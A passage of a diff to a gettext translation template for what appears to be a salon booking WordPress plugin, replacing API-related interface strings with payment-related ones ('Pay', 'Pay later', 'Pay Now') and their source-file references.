..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:65\n+msgid \"Pay\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:615, src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:644, src\u002FSLB_API\u002FController\u002FServices_Controller.php:751, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:653, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:682, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:705, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:615, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:644, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:751, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:653, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:682, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:705, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:615, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:644, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:751, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:653, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:682, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:705, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:614, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:643, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:750, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:653, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:682, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:705, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:615, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:644, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:751, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:653, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:682, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:705, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:615, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:644, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:751, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:653, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:682, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:705\n-msgid \"The to date.\"\n+#. %s: name of the payment method\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fpaypal\u002Fpay.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fpay.php:38\n+#, php-format\n+msgid \"Pay \u003Cstrong class='sln-total-price'>%s\u003C\u002Fstrong> with \"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:628, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:666, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:628, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:666, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:628, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:666, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:627, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:666, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:628, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:666, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:628, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:666\n-msgid \"The holidays for the resource.\"\n+#. %s: name of the payment method\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fpaypal\u002Fpay.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fpay.php:30\n+#, php-format\n+msgid \"Pay \u003Cstrong>%1$s\u003C\u002Fstrong> as a deposit with %2$s\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:632, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:670, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:632, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:670, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:632, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:670, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:670, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:632, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:670, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:632, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:670\n-msgid \"The holiday item.\"\n+#. %s: name of the payment method\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fpaypal\u002Fpay.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fpay.php:21\n+#, php-format\n+msgid \"Pay \u003Cstrong>%1$s\u003C\u002Fstrong> as a remaining amount with %2$s\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:672, src\u002FSLB_API\u002FController\u002FServices_Controller.php:764, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:710, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:718, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:672, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:764, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:710, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:718, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:764, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:710, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:718, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:671, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:763, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:710, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:718, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:764, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:710, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:718, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:672, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:764, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:710, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:718\n-msgid \"The image url for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:163\n+msgid \"Pay a deposit\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAuth_Controller.php:27, src\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:27\n-msgid \"User login.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_booking_status_summary.php:26\n+msgid \"Pay Later\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAuth_Controller.php:32, src\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:32\n-msgid \"User password.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_form_actions.php:125\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:105\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:125\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:105\n+msgid \"Pay later\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAuth_Controller.php:61, src\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:61, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:61\n-msgid \"Wrong user name.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fpaypal\u002Fpay.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fpayment_method\u002Fstripe\u002Fpay.php:44\n+msgid \"Pay Now\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAuth_Controller.php:65, src\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:65, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:65\n-msgid \"Wrong user password.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:20\n+msgid \"Payment\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAuth_Controller.php:74, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:74, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:74\n-msgid \"Sorry, you are not authorized to access the API.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPaymentMethod\u002FStripe.php:103\n+msgid \"\"\n+\"Payment callback received without required parameters. Please contact \"\n+\"support if this persists.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:26, src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:28, src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:58, src\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:121, src\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:24, src\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:25, src\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:67, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:26, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:28, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:58, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:112, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:166, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:25, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:25, src\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:67, src\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:121, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:112, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:166, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:28, 